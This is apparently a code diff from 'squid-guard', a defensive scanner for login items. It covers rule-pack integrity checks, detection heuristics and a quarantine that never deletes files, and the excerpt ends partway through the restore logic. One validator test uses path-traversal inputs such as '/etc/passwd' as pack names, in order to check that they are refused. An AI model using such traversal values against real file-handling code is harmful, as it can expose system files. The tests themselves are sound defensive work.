path: item.program.clone().unwrap_or_default(),
});
}
if item.risks.contains(&StartupRisk::ScriptInterpreter) {
evidence.push(Evidence::StartsAtLogin {
entry: item.name.clone(),
source: format!("{} via script interpreter", item.source.as_str()),
});
}
if item.source == StartupSource::LoginItem {
continue;
}
if evidence.is_empty() {
continue;
}
let level = if item.risks.contains(&StartupRisk::MissingTarget) {
Confidence::Advisory
} else {
Confidence::Suspicious
};
out.push((
item.program
.clone()
.unwrap_or_else(|| PathBuf::from(&item.id)),
item.name.clone(),
level,
evidence,
));
}
out
}
#[cfg(test)]
mod tests {
use super::*;
use squid_platform::startup::{StartupScope, StartupSource};
fn item(path: &Path, source: StartupSource, scope: StartupScope) -> StartupItem {
let mut item = StartupItem::new(path.to_string_lossy(), "probe", source, scope);
item.program = Some(path.to_path_buf());
item
}
fn candidate<'a>(path: &'a Path, startup: Option<&'a StartupItem>) -> Candidate<'a> {
Candidate {
path,
startup,
world_writable: false,
// The probes below are plain text written by the test, so this is
// the honest answer for those files rather than a stub.
signed: false,
}
}
#[test]
fn a_home_folder_file_is_user_writable() {
let home = squid_platform::startup::home_dir();
assert!(starts_in_user_space(
&home.join("Library/Application Support/Thing/thing")
));
assert!(starts_in_user_space(Path::new("/tmp/thing")));
assert!(!starts_in_user_space(Path::new("/usr/libexec/thing")));
}
#[test]
fn an_app_named_like_a_system_component_outside_its_home_is_flagged() {
assert_eq!(
impersonated_component(Path::new(
"/Users/tester/Library/Application Support/Dock/Dock.app"
)),
Some("Dock")
);
// The real one is not impersonating itself.
assert_eq!(
impersonated_component(Path::new("/System/Library/CoreServices/Dock.app")),
None
);
// A vendor app whose name merely contains the word is not a claim.
assert_eq!(
impersonated_component(Path::new("/Applications/DockFinder.app")),
None
);
}
#[test]
fn heuristics_never_claim_confirmation() {
let path = squid_platform::startup::home_dir()
.join("Library/Application Support/guard-probe/updater");
std::fs::create_dir_all(path.parent().unwrap()).unwrap();
std::fs::write(&path, b"#!/bin/sh\necho probe\n").unwrap();
let entry = item(&path, StartupSource::LaunchAgent, StartupScope::User);
let evidence = judge(&candidate(&path, Some(&entry)));
assert!(
!evidence.is_empty(),
"an unsigned login agent should say something"
);
assert_eq!(confidence(&evidence), Confidence::Suspicious);
assert!(confidence(&evidence) != Confidence::Confirmed);
let _ = std::fs::remove_file(path);
}
#[test]
fn a_lone_missing_target_is_housekeeping_not_a_threat() {
let evidence = vec![
Evidence::StartsAtLogin {
entry: "ghost".into(),
source: "launch-agent".into(),
},
Evidence::MissingTarget {
path: PathBuf::from("/Users/tester/gone"),
},
];
assert_eq!(confidence(&evidence), Confidence::Advisory);
}
#[test]
fn one_weak_signal_is_a_note_and_two_are_a_finding() {
let unsigned = || Evidence::Unsigned {
path: PathBuf::from("/a"),
note: None,
};
let login = || Evidence::StartsAtLogin {
entry: "thing".into(),
source: "launch-agent".into(),
};
// The whole machine is unsigned. Saying so once per file is noise.
assert_eq!(confidence(&[unsigned()]), Confidence::Advisory);
assert_eq!(confidence(&[]), Confidence::Advisory);
// Unsigned *and* started at login is the persistence shape.
assert_eq!(
confidence(&[unsigned(), login()]),
Confidence::Suspicious,
"corroborating signals have to outrank one lonely signal"
);
// Wearing a system component's name is enough on its own.
assert_eq!(
confidence(&[Evidence::Impersonation {
claimed: "Dock".into(),
path: PathBuf::from("/Users/tester/Dock"),
}]),
Confidence::Suspicious
);
// …and heuristics still cannot reach confirmed, whatever the combination.
assert_ne!(
confidence(&[unsigned(), login()]),
Confidence::Confirmed,
"no heuristic may claim certainty"
);
}
#[test]
fn a_published_hit_does_not_make_a_weak_heuristic_look_stronger() {
// One unsigned file plus one confirmed hash hit. The hash decides the
// level; the heuristic half must still say "one weak signal", or the
// ceiling that keeps heuristics out of `confirmed` would be grading the
// detector's evidence rather than its own.
let evidence = vec![
Evidence::DeniedHash {
sha256: "aa".into(),
threat: "known bad".into(),
},
Evidence::Unsigned {
path: PathBuf::from("/a"),
note: None,
},
];
assert_eq!(confidence(&evidence), Confidence::Advisory);
}
#[test]
fn evidence_is_not_reported_twice() {
let mut evidence = vec![
Evidence::Unsigned {
path: PathBuf::from("/a"),
note: None,
},
Evidence::Unsigned {
path: PathBuf::from("/a"),
note: None,
},
Evidence::Unsigned {
path: PathBuf::from("/b"),
note: None,
},
];
dedupe(&mut evidence);
assert_eq!(evidence.len(), 2);
}
}

View File

@ -1,627 +0,0 @@
//! Rule packs: the on-disk format, its verification, and the fallback that keeps
//! a bad download from leaving the machine unguarded.
//!
//! A pack is YARA source plus a JSON manifest, published beside the installers
//! on the same git-backed channel the app update uses. Two keys are involved and
//! they are deliberately different: the release key signs installers, and the
//! intel key signs rules. Rotating one should not have to move the other, and a
//! leaked installer key must not become a rule-injection path.
//!
//! Nothing is uploaded. The client fetches a manifest and, if newer, a pack; no
//! filename, hash, or scan result ever leaves the machine. That is a property of
//! this module, not of the caller's good intentions — there is no function here
//! that takes a path from the local disk and sends it anywhere.
use crate::rules::RuleLevel;
use crate::rules::RuleMeta;
use serde::{Deserialize, Serialize};
use std::path::{Path, PathBuf};
pub const MANIFEST_FILE: &str = "squid-intel.json";
pub const SIGNATURE_FILE: &str = "squid-intel.sig";
const SUPPORTED_SCHEMA: u32 = 1;
/// Parsers are the first thing a hostile input breaks, so the size gate is not
/// about disk space.
const MAX_PACK_BYTES: u64 = 8 * 1024 * 1024;
#[derive(Clone, Debug, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct IntelManifest {
pub schema: u32,
/// Monotonic pack revision. Compared as a number, not a date, so a re-issue
/// on the same day still wins.
pub revision: u64,
pub date: String,
pub pack: String,
pub sha256: String,
pub size: u64,
pub rules: Vec<RuleMeta>,
}
/// How the bytes reached us, which is a different fact from *what* they are.
///
/// Both variants mean the pack's SHA-256 and byte length matched its manifest and
/// that YARA accepted the source. Only `Verified` means a key this build knows
/// about signed the manifest.
///
/// The distinction exists because the release key is baked in at build time, so a
/// build from source has none. Refusing to update then would make rule packs a
/// feature only the release build can use; accepting silently would let the UI
/// print "signed" about a manifest nothing checked. So an unbaked key is accepted
/// and remembered as unverified, and the interface says so. A build that *does*
/// have a key and fails to verify it is an error, not a fallback.
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum Provenance {
/// A baked public key verified the manifest's Ed25519 signature.
Verified,
/// Integrity came from the manifest's SHA-256 alone: this build has no key.
Unverified,
}
/// A pack that has been read, verified, and compiled.
#[derive(Clone, Debug)]
pub struct Pack {
pub manifest: IntelManifest,
pub source: String,
pub provenance: Provenance,
}
impl Pack {
pub fn rule_count(&self) -> usize {
self.manifest.rules.len()
}
}
/// Where packs live: `current` is what the next scan uses, `previous` is what a
/// failed update falls back to. Keeping both is what makes a bad pack survivable.
pub fn intel_dir() -> PathBuf {
crate::coverage::intel_root()
}
fn current_pack_path() -> PathBuf {
intel_dir().join("current.json")
}
fn previous_pack_path() -> PathBuf {
intel_dir().join("previous.json")
}
/// Validate a parsed manifest before anything reads its fields.
pub fn validate_manifest(manifest: &IntelManifest) -> Result<(), String> {
if manifest.schema > SUPPORTED_SCHEMA {
return Err(format!(
"This rule pack needs intel schema {}, which Squid {} cannot read",
manifest.schema,
env!("CARGO_PKG_VERSION")
));
}
if !is_hex(manifest.sha256.as_bytes(), 64) {
return Err("The rule pack manifest does not carry a SHA-256.".into());
}
if manifest.size == 0 || manifest.size > MAX_PACK_BYTES {
return Err(format!(
"The rule pack size ({} bytes) is outside what Squid will read.",
manifest.size
));
}
let file = Path::new(&manifest.pack)
.file_name()
.map(|name| name.to_string_lossy().into_owned())
.unwrap_or_default();
if file.is_empty() || file != manifest.pack || manifest.pack.contains("..") {
return Err("The rule pack names a file outside its own folder.".into());
}
if !file.ends_with(".json") {
return Err("The rule pack file must be a .json pack.".into());
}
if manifest.rules.is_empty() {
return Err("The rule pack declares no rules.".into());
}
for rule in &manifest.rules {
if rule.name.is_empty()
|| !rule
.name
.chars()
.all(|c| c.is_ascii_alphanumeric() || c == '_')
{
return Err(format!(
"Rule name {:?} is not a YARA identifier.",
rule.name
));
}
}
Ok(())
}
pub fn parse_manifest(text: &str) -> Result<IntelManifest, String> {
let manifest: IntelManifest = serde_json::from_str(text)
.map_err(|error| format!("The rule manifest is not readable: {error}"))?;
validate_manifest(&manifest)?;
Ok(manifest)
}
/// Read a downloaded pack and check it against the manifest the caller verified.
/// Signature verification happens where the public key lives (the desktop
/// layer), so this takes the manifest as given and proves only that *these
/// bytes* are the pack that manifest describes.
pub fn read_pack(
dir: &Path,
manifest: &IntelManifest,
provenance: Provenance,
) -> Result<Pack, String> {
let path = dir.join(&manifest.pack);
let metadata = std::fs::metadata(&path)
.map_err(|error| format!("Could not read the rule pack: {error}"))?;
if metadata.len() != manifest.size {
return Err(format!(
"{} is {} bytes, the manifest says {}.",
manifest.pack,
metadata.len(),
manifest.size
));
}
let bytes = std::fs::read(&path).map_err(|error| error.to_string())?;
let actual = digest(&bytes);
if !actual.eq_ignore_ascii_case(&manifest.sha256) {
return Err(format!(
"The rule pack hash does not match the manifest ({}).",
short(&actual)
));
}
let parsed: PackFile = serde_json::from_slice(&bytes)
.map_err(|error| format!("The rule pack is not readable: {error}"))?;
if parsed.revision != manifest.revision {
return Err("The rule pack revision does not match the manifest.".into());
}
// Compile before accepting: a pack YARA rejects must never become
// `current`, because the next scan would fail at the worst moment.
crate::rules::Detector::from_source_for_pack(&parsed.source, &manifest.rules)?;
Ok(Pack {
manifest: manifest.clone(),
source: parsed.source,
provenance,
})
}
#[derive(Clone, Debug, Serialize, Deserialize)]
struct PackFile {
revision: u64,
source: String,
}
/// What squid keeps on disk: the pack, together with the manifest that was
/// verified when it was installed. One file, so no later read can pair a pack
/// with the wrong manifest.
#[derive(Clone, Debug, Serialize, Deserialize)]
struct PackRecord {
manifest: IntelManifest,
revision: u64,
source: String,
/// Recorded at install so the UI can still say, after a restart and with no
/// network, whether what it is running was ever signature-verified.
/// Defaults to the honest pessimistic answer for a record written before this
/// field existed: nothing is claimed about the signature.
#[serde(default = "Provenance::unverified")]
provenance: Provenance,
}
impl Provenance {
const fn unverified() -> Provenance {
Provenance::Unverified
}
}
/// Build the pack file that gets published, so a pack is produced by the same
/// code that reads one.
pub fn pack_file(revision: u64, source: &str) -> Vec<u8> {
let file = PackFile {
revision,
source: source.to_string(),
};
serde_json::to_vec_pretty(&file).expect("a pack file always serialises")
}
/// Install a verified pack, keeping the record it replaces for rollback.
pub fn install_pack(pack: &Pack) -> Result<(), String> {
let dir = intel_dir();
std::fs::create_dir_all(&dir).map_err(|error| error.to_string())?;
let current = current_pack_path();
if current.is_file() {
let text = std::fs::read_to_string(&current).map_err(|error| error.to_string())?;
std::fs::write(previous_pack_path(), text).map_err(|error| error.to_string())?;
}
let record = PackRecord {
manifest: pack.manifest.clone(),
revision: pack.manifest.revision,
source: pack.source.clone(),
provenance: pack.provenance,
};
let bytes = serde_json::to_vec_pretty(&record).map_err(|error| error.to_string())?;
std::fs::write(&current, bytes).map_err(|error| error.to_string())
}
/// The best installed pack, falling back to the previous record when `current`
/// has been corrupted or truncated since it was written.
pub fn installed_pack() -> Option<Pack> {
for path in [current_pack_path(), previous_pack_path()] {
if let Some(pack) = read_record(&path) {
return Some(pack);
}
}
None
}
/// Read one stored record and re-prove it: the hash against its own manifest,
/// and the source against the rule table. A record that fails either is treated
/// as absent, because half a rule set is how a bad pack becomes a false sense of
/// safety.
pub fn read_record(path: &Path) -> Option<Pack> {
let text = std::fs::read_to_string(path).ok()?;
let record: PackRecord = serde_json::from_str(&text).ok()?;
validate_manifest(&record.manifest).ok()?;
let bytes = pack_file(record.revision, &record.source);
if bytes.len() as u64 != record.manifest.size {
return None;
}
if !digest(&bytes).eq_ignore_ascii_case(&record.manifest.sha256) {
return None;
}
if crate::rules::Detector::from_source_for_pack(&record.source, &record.manifest.rules).is_err()
{
return None;
}
Some(Pack {
manifest: record.manifest,
source: record.source,
provenance: record.provenance,
})
}
fn digest(bytes: &[u8]) -> String {
use sha2::{Digest, Sha256};
hex::encode(Sha256::digest(bytes))
}
/// Everything the UI shows about the installed rules, without touching the
/// network. `builtin` is the floor: a machine that never downloaded a pack is
/// still guarded by the compiled-in rules.
#[derive(Clone, Debug, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct IntelStatus {
pub builtin_rules: usize,
pub installed_rules: usize,
pub revision: u64,
pub published: String,
/// Compiled-in rules are as trusted as the binary itself; a downloaded pack is
/// `true` only when a key this build knows about signed its manifest.
pub signed: bool,
pub source: String,
pub path: String,
pub fallback_available: bool,
}
pub fn status() -> IntelStatus {
let builtin = crate::rules::builtin_meta().len();
match installed_pack() {
Some(pack) => IntelStatus {
builtin_rules: builtin,
installed_rules: pack.rule_count(),
revision: pack.manifest.revision,
published: pack.manifest.date.clone(),
signed: pack.provenance == Provenance::Verified,
source: "pack".into(),
path: current_pack_path().to_string_lossy().into_owned(),
fallback_available: previous_pack_path().is_file(),
},
None => IntelStatus {
builtin_rules: builtin,
installed_rules: builtin,
revision: 0,
published: String::new(),
signed: true,
source: "builtin".into(),
path: intel_dir().to_string_lossy().into_owned(),
fallback_available: false,
},
}
}
/// Roll back one step, used when a scan reports that the newest pack misbehaves.
pub fn rollback() -> Result<(), String> {
let previous = previous_pack_path();
let text = std::fs::read_to_string(&previous)
.map_err(|_| "There is no previous rule pack to fall back to.".to_string())?;
std::fs::write(current_pack_path(), text).map_err(|error| error.to_string())?;
let _ = std::fs::remove_file(previous);
Ok(())
}
/// The path of the installed record, for the UI that shows where rules came from.
pub fn current_pack_record() -> PathBuf {
current_pack_path()
}
fn is_hex(bytes: &[u8], length: usize) -> bool {
bytes.len() == length && bytes.iter().all(|byte| byte.is_ascii_hexdigit())
}
fn short(value: &str) -> String {
value.chars().take(12).collect()
}
/// Rule levels as the pack spells them, checked against what the scanner will
/// accept. A pack cannot invent a level, and cannot promote itself to
/// `signature` for a rule the client has never seen before without saying so.
pub fn level_is_known(level: &RuleLevel) -> bool {
matches!(level, RuleLevel::Signature | RuleLevel::Behaviour)
}
#[cfg(test)]
mod tests {
use super::*;
/// The manifest that honestly describes one pack source.
fn manifest_for(revision: u64, rule: &str, source: &str) -> IntelManifest {
let bytes = pack_file(revision, source);
IntelManifest {
schema: SUPPORTED_SCHEMA,
revision,
date: "2026-11-06".into(),
pack: "squid-rules.json".into(),
sha256: digest(&bytes),
size: bytes.len() as u64,
rules: vec![RuleMeta {
name: rule.into(),
description: "only in the pack".into(),
family: "pack".into(),
level: RuleLevel::Signature,
}],
}
}
fn manifest(revision: u64) -> IntelManifest {
let source = r#"rule PackOnly { strings: $a = "pack-marker-only" condition: $a }"#;
let bytes = pack_file(revision, source);
IntelManifest {
schema: SUPPORTED_SCHEMA,
revision,
date: "2026-11-06".into(),
pack: "squid-rules.json".into(),
sha256: write_and_hash(&bytes),
size: bytes.len() as u64,
rules: vec![RuleMeta {
name: "PackOnly".into(),
description: "only in the pack".into(),
family: "pack".into(),
level: RuleLevel::Signature,
}],
}
}
fn write_and_hash(bytes: &[u8]) -> String {
use sha2::{Digest, Sha256};
hex::encode(Sha256::digest(bytes))
}
fn temp_dir(tag: &str) -> PathBuf {
let dir = std::env::temp_dir().join(format!("squid-intel-{tag}-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let _ = std::fs::remove_file(dir.join("squid-rules.json"));
dir
}
#[test]
fn a_pack_round_trips_through_its_manifest() {
let dir = temp_dir("round-trip");
let manifest = manifest(7);
std::fs::write(
dir.join(&manifest.pack),
pack_file(
7,
r#"rule PackOnly { strings: $a = "pack-marker-only" condition: $a }"#,
),
)
.unwrap();
let manifest = {
let bytes = std::fs::read(dir.join(&manifest.pack)).unwrap();
IntelManifest {
sha256: write_and_hash(&bytes),
size: bytes.len() as u64,
..manifest
}
};
let pack =
read_pack(&dir, &manifest, Provenance::Verified).expect("the pack should read back");
assert_eq!(pack.rule_count(), 1);
assert_eq!(pack.manifest.revision, 7);
std::fs::remove_dir_all(dir).ok();
}
#[test]
fn a_truncated_pack_is_refused_before_it_is_used() {
let dir = temp_dir("truncated");
let manifest = manifest(8);
std::fs::write(dir.join(&manifest.pack), b"half a file").unwrap();
let error = read_pack(&dir, &manifest, Provenance::Verified)
.expect_err("size must match the manifest");
assert!(error.contains("bytes"), "{error}");
std::fs::remove_dir_all(dir).ok();
}
#[test]
fn a_pack_that_yara_rejects_never_installs() {
let dir = temp_dir("broken-yara");
let bytes = pack_file(9, "rule {{{ not yara");
std::fs::write(dir.join("squid-rules.json"), &bytes).unwrap();
let manifest = IntelManifest {
schema: SUPPORTED_SCHEMA,
revision: 9,
date: "2026-11-06".into(),
pack: "squid-rules.json".into(),
sha256: write_and_hash(&bytes),
size: bytes.len() as u64,
rules: vec![RuleMeta {
name: "Whatever".into(),
description: String::new(),
family: "pack".into(),
level: RuleLevel::Behaviour,
}],
};
assert!(
read_pack(&dir, &manifest, Provenance::Verified).is_err(),
"a pack YARA rejects must not be installable"
);
}
#[test]
fn an_unsigned_pack_survives_the_round_trip_as_unsigned() {
// A build with no baked key can still take updates, but must not end up
// claiming afterwards that something verified them.
let _guard = crate::state_guard("provenance");
let pack = Pack {
manifest: manifest_for(7, "ProvOnly", r#"rule ProvOnly { condition: false }"#),
source: r#"rule ProvOnly { condition: false }"#.to_string(),
provenance: Provenance::Unverified,
};
install_pack(&pack).unwrap();
let status = status();
assert_eq!(status.source, "pack");
assert!(
!status.signed,
"the UI has to be able to tell an unverified pack from a signed one"
);
assert_eq!(installed_pack().unwrap().provenance, Provenance::Unverified);
}
#[test]
fn a_record_from_before_provenance_existed_is_not_assumed_signed() {
// An old `current.json` has no provenance field. Reading it as
// `Verified` would print a green "signed" for a pack nobody checked.
let _guard = crate::state_guard("provenance-old");
let pack = published_pack(8, "OldOnly", r#"rule OldOnly { condition: false }"#);
install_pack(&pack).unwrap();
let path = current_pack_path();
let text = std::fs::read_to_string(&path).unwrap();
// The field is last in the pretty-printed object, so the comma to remove
// is the one before it.
let stripped = text.replace(",\n \"provenance\": \"verified\"", "");
assert_ne!(text, stripped, "the fixture must actually carry the field");
std::fs::write(&path, stripped).unwrap();
let read = read_record(&path).expect("a record missing one field still reads");
assert_eq!(read.provenance, Provenance::Unverified);
}
#[test]
fn a_rejected_pack_is_never_installed_even_when_the_hash_matches() {
let dir = std::env::temp_dir().join("squid-intel-yara");
std::fs::create_dir_all(&dir).unwrap();
let source = "rule Broken { condition: this is not yara ((( }";
let manifest = manifest_for(9, "Broken", source);
std::fs::write(dir.join(&manifest.pack), pack_file(9, source)).unwrap();
assert!(
read_pack(&dir, &manifest, Provenance::Verified).is_err(),
"a pack YARA cannot compile must be refused"
);
std::fs::remove_dir_all(dir).ok();
}
#[test]
fn a_manifest_cannot_escape_its_folder_or_lie_about_size() {
for escape in ["../evil.json", "/etc/passwd", "sub/dir/rules.json"] {
let base = manifest(1);
let dodgy = IntelManifest {
pack: escape.into(),
..base
};
assert!(
validate_manifest(&dodgy).is_err(),
"{escape} should be refused"
);
}
let huge = IntelManifest {
size: MAX_PACK_BYTES + 1,
..manifest(1)
};
assert!(validate_manifest(&huge).is_err());
let no_hash = IntelManifest {
sha256: "deadbeef".into(),
..manifest(1)
};
assert!(validate_manifest(&no_hash).is_err());
let empty = IntelManifest {
rules: Vec::new(),
..manifest(1)
};
assert!(validate_manifest(&empty).is_err());
}
#[test]
fn a_newer_schema_is_refused_rather_than_misread() {
let newer = IntelManifest {
schema: SUPPORTED_SCHEMA + 1,
..manifest(1)
};
let error = validate_manifest(&newer).expect_err("schema must be checked");
assert!(error.contains("schema"), "{error}");
}
#[test]
fn rule_names_must_be_yara_identifiers() {
let dodgy = IntelManifest {
rules: vec![RuleMeta {
name: "not a rule name".into(),
description: String::new(),
family: String::new(),
level: RuleLevel::Behaviour,
}],
..manifest(1)
};
assert!(validate_manifest(&dodgy).is_err());
}
#[test]
fn the_builtin_pack_reports_itself_without_any_download() {
let _guard = crate::state_guard("builtin");
let status = status();
assert_eq!(status.source, "builtin");
assert_eq!(status.revision, 0);
assert!(status.installed_rules >= status.builtin_rules);
assert!(
status.signed,
"compiled-in rules are as trusted as the binary"
);
}
#[test]
fn installing_a_pack_keeps_the_previous_one_and_can_roll_back() {
let _guard = crate::state_guard("rollback");
let first = published_pack(10, "PackOnly", r#"rule PackOnly { condition: false }"#);
let second = published_pack(
11,
"PackOnlyTwo",
r#"rule PackOnlyTwo { condition: false }"#,
);
install_pack(&first).unwrap();
install_pack(&second).unwrap();
assert!(
previous_pack_path().is_file(),
"the record it replaced is kept"
);
assert_eq!(installed_pack().unwrap().manifest.revision, 11);
rollback().unwrap();
let back = installed_pack().expect("rollback restores the older pack");
assert_eq!(back.manifest.revision, 10);
}
/// Build a pack the way an update does: the source first, then a manifest
/// that honestly describes those exact bytes.
fn published_pack(revision: u64, rule: &str, source: &str) -> Pack {
Pack {
manifest: manifest_for(revision, rule, source),
source: source.to_string(),
provenance: Provenance::Verified,
}
}
}

View File

@ -1,60 +0,0 @@
//! squid-guard — the security half of squid.
//!
//! Position matters more than ambition here. XProtect (macOS) and Defender
//! (Windows) remain the real-time protection of this machine; squid does not
//! replace them, does not copy their rules, and does not install anything that
//! runs before execve. What this crate adds is the part those engines leave to
//! the owner of the machine: an inventory of *what* starts at login, an
//! evidence-grade scan of the files behind that inventory and the obvious
//! user-writable run locations, and a reversible quarantine that never deletes.
//!
//! Two rules keep the crate honest:
//!
//! 1. A scan never removes anything. It produces [`finding::Finding`]s with
//! evidence, and only an explicit user decision (or the opt-in automatic
//! quarantine, confirmed-level only) moves a file.
//! 2. Findings are addressed by backend-issued id, never by path. The caller
//! cannot quarantine a file the scan never reported.
//!
//! Detection is layered so a weak layer can never masquerade as a strong one:
//!
//! - a SHA-256 blacklist answers "is this exact file known bad" (`confirmed`);
//! - YARA-X rules answer "does this file match a known family" (`confirmed` for
//! high-confidence rules, `suspicious` otherwise);
//! - heuristics answer "would a careful person look at this twice"
//! (`suspicious`/`advisory`) and never quarantine on their own.
pub mod coverage;
pub mod findings;
pub mod heuristics;
pub mod intel;
pub mod quarantine;
pub mod rules;
pub mod scan;
pub mod store;
pub use findings::{Confidence, Evidence, Finding};
pub use quarantine::{QuarantineEntry, QuarantineLedger};
pub use scan::{ScanMode, ScanReport as GuardReport, ScanTarget};
pub use store::Store;
/// Crate version tag written into the quarantine ledger, mirroring the
/// cleanup ledger's habit of stamping the format it was written by.
pub const LEDGER_TAG: &str = concat!("squid-guard/", env!("CARGO_PKG_VERSION"));
/// Tests that touch on-disk state share one lock, because the state directory is
/// chosen by a process-wide environment variable. Without it, a quarantine test
/// can reopen its ledger in whatever directory an intel test pointed the process
/// at a moment earlier.
#[cfg(test)]
pub(crate) fn state_guard(tag: &str) -> std::sync::MutexGuard<'static, ()> {
static GUARD: std::sync::Mutex<()> = std::sync::Mutex::new(());
let guard = GUARD
.lock()
.unwrap_or_else(|poisoned| poisoned.into_inner());
let dir = std::env::temp_dir().join(format!("squid-guard-state-{tag}"));
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(&dir).expect("a test can create its own state directory");
std::env::set_var("SQUID_STATE_DIR", &dir);
guard
}

View File

@ -1,682 +0,0 @@
//! The quarantine: files squid moved out of the way, and the record that lets
//! them go back.
//!
//! Three properties are worth stating because they are what distinguishes this
//! from "delete" and from the system Trash:
//!
//! - **Reversible until told otherwise.** Each object keeps its original path,
//! mode and timestamps, so `restore` can put it back where it came from.
//! - **Inert.** Files land in squid's own state folder with the execute bit
//! cleared and owner-only permissions, so a quarantined login item cannot run
//! again while it waits there.
//! - **Owned by squid.** The Trash is the operating system's, and sending a
//! suspected binary there means the user has to remember to empty it. Here the
//! ledger and the objects sit together, and the UI can say exactly what is in
//! the way.
//!
//! The ledger is the authority. A file is quarantined because the ledger says
//! so, and every operation re-reads the ledger before touching the disk, so a
//! half-finished move on a full disk shows up as an honest error rather than a
//! file in two places.
use crate::coverage::quarantine_root;
use crate::findings::{Evidence, Finding};
use serde::{Deserialize, Serialize};
use sha2::{Digest, Sha256};
use squid_core::paths;
use std::io::Read;
use std::path::{Path, PathBuf};
use std::time::{SystemTime, UNIX_EPOCH};
/// One quarantined object, as recorded before anything was moved.
#[derive(Clone, Debug, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct QuarantineEntry {
pub id: String,
/// Where the file lived. Kept for restore, never trusted as-is.
pub original_path: PathBuf,
pub display_path: String,
/// Relative name inside the quarantine folder.
pub stored: String,
pub size: u64,
pub sha256: String,
/// Unix mode, or the Windows read-only flag folded into it.
pub mode: u32,
pub modified_ms: u64,
pub quarantined_ms: u64,
/// Why it was moved, kept so the list can explain itself a month later.
pub title: String,
pub confidence: String,
pub evidence: Vec<Evidence>,
}
/// The quarantine folder's own ledger. Written beside the objects so the whole
/// thing can be inspected, copied or deleted by hand.
#[derive(Clone, Debug, Default, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct QuarantineLedger {
pub version: u32,
pub entries: Vec<QuarantineEntry>,
}
impl QuarantineLedger {
fn load(path: &Path) -> QuarantineLedger {
std::fs::read_to_string(path)
.ok()
.and_then(|text| serde_json::from_str(&text).ok())
.unwrap_or(QuarantineLedger {
version: 1,
entries: Vec::new(),
})
}
fn save(&self, path: &Path) -> Result<(), String> {
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent).map_err(|error| error.to_string())?;
}
let text = serde_json::to_string_pretty(self).map_err(|error| error.to_string())?;
std::fs::write(path, text).map_err(|error| error.to_string())
}
}
fn ledger_path() -> PathBuf {
quarantine_root().join("ledger.json")
}
fn objects_dir() -> PathBuf {
quarantine_root().join("objects")
}
/// The quarantine, opened for one session of the app.
#[derive(Default)]
pub struct Quarantine {
ledger: QuarantineLedger,
loaded: bool,
}
impl Quarantine {
pub fn new() -> Quarantine {
Quarantine::default()
}
fn ensure_loaded(&mut self) {
if !self.loaded {
self.ledger = QuarantineLedger::load(&ledger_path());
self.loaded = true;
}
}
/// Everything the ledger recorded. Reading the list is what loads the
/// ledger, so a freshly opened quarantine describes what is on disk rather
/// than an empty list that would offer "quarantine" for a file already moved.
pub fn entries(&mut self) -> &[QuarantineEntry] {
self.ensure_loaded();
&self.ledger.entries
}
pub fn find(&mut self, id: &str) -> Option<&QuarantineEntry> {
self.ensure_loaded();
self.ledger.entries.iter().find(|entry| entry.id == id)
}
/// Move one finding into the quarantine.
///
/// The finding is what the scan reported; nothing here accepts a bare path.
/// Before moving, the file is re-hashed and compared with the value recorded
/// at scan time, so a file that changed between "found" and "quarantine" is
/// reported rather than moved: the bytes the user decided about are not the
/// bytes on disk.
pub fn quarantine(&mut self, finding: &Finding) -> Result<QuarantineEntry, String> {
self.ensure_loaded();
let path = finding
.path
.as_ref()
.ok_or_else(|| "This finding has no file to quarantine.".to_string())?;
let refused = refusal(path)?;
if let Some(reason) = refused {
return Err(reason);
}
let metadata = std::fs::symlink_metadata(path).map_err(|error| error.to_string())?;
if !metadata.is_file() {
return Err(
"Only single files can be quarantined — a folder needs the uninstaller.".into(),
);
}
let is_link = metadata.file_type().is_symlink();
if is_link {
return Err("A symbolic link is not the file that was scanned.".into());
}
if metadata.len() != finding.size {
return Err(format!(
"{} changed size since the scan. Run the scan again.",
paths::pretty(path)
));
}
let hash = hash_file(path)?;
if let Some(expected) = finding.sha256.as_deref() {
if !expected.eq_ignore_ascii_case(&hash) {
return Err(format!(
"{} changed since the scan. Run the scan again.",
paths::pretty(path)
));
}
}
let id = new_id(path, &hash);
if self.ledger.entries.iter().any(|entry| entry.id == id) {
return Err("This file is already in the quarantine.".into());
}
// Two scans of the same bytes in different places get different ids,
// because the original path is part of what restore needs.
let stored = format!("{id}.bin");
let destination = objects_dir().join(&stored);
if destination.exists() {
return Err("The quarantine already holds an object with this name.".into());
}
// Read the mode before anything else happens to the file: the stored
// copy is deliberately made inert below, and restore has to hand back
// what the file was, not what the quarantine keeps it as.
let mode = current_mode(path);
std::fs::create_dir_all(objects_dir()).map_err(|error| error.to_string())?;
std::fs::rename(path, &destination).or_else(|rename_error| {
// Renaming fails across volumes, which is normal for an external
// disk or a DMG that is still mounted.
std::fs::copy(path, &destination)
.map_err(|copy_error| {
format!(
"Could not move the file into the quarantine: {rename_error}; copy failed: {copy_error}"
)
})
.and_then(|_| std::fs::remove_file(path).map_err(|error| error.to_string()))
})?;
// Make the object inert while it waits: no execute, readable only by the
// owner who chose to quarantine it.
restrict_permissions(&destination);
let entry = QuarantineEntry {
id: id.clone(),
original_path: path.clone(),
display_path: paths::pretty(path),
stored,
size: metadata.len(),
sha256: hash,
mode,
modified_ms: metadata
.modified()
.ok()
.and_then(|time| time.duration_since(UNIX_EPOCH).ok())
.map(|since| since.as_millis() as u64)
.unwrap_or_default(),
quarantined_ms: now_ms(),
title: finding.title.clone(),
confidence: finding.confidence.as_str().to_string(),
evidence: finding.evidence.clone(),
};
self.ledger.entries.push(entry.clone());
if let Err(error) = self.ledger.save(&ledger_path()) {
// The file is already in place, so undo the move rather than leave a
// file the ledger does not know about.
let _ = std::fs::rename(&destination, path);
self.ledger.entries.retain(|kept| kept.id != id);
return Err(format!("Could not record the quarantine: {error}"));
}
Ok(entry)
}
/// Put one object back where it came from.
pub fn restore(&mut self, id: &str) -> Result<PathBuf, String> {
self.ensure_loaded();
let index = self
.ledger
.entries
.iter()
.position(|entry| entry.id == id)
.ok_or_else(|| "That object is not in the quarantine.".to_string())?;
let entry = self.ledger.entries[index].clone();
let stored = objects_dir().join(&entry.stored);
if !stored.is_file() {
return Err(format!(
"The quarantined copy of {} is gone from disk.",
entry.display_path
));
}
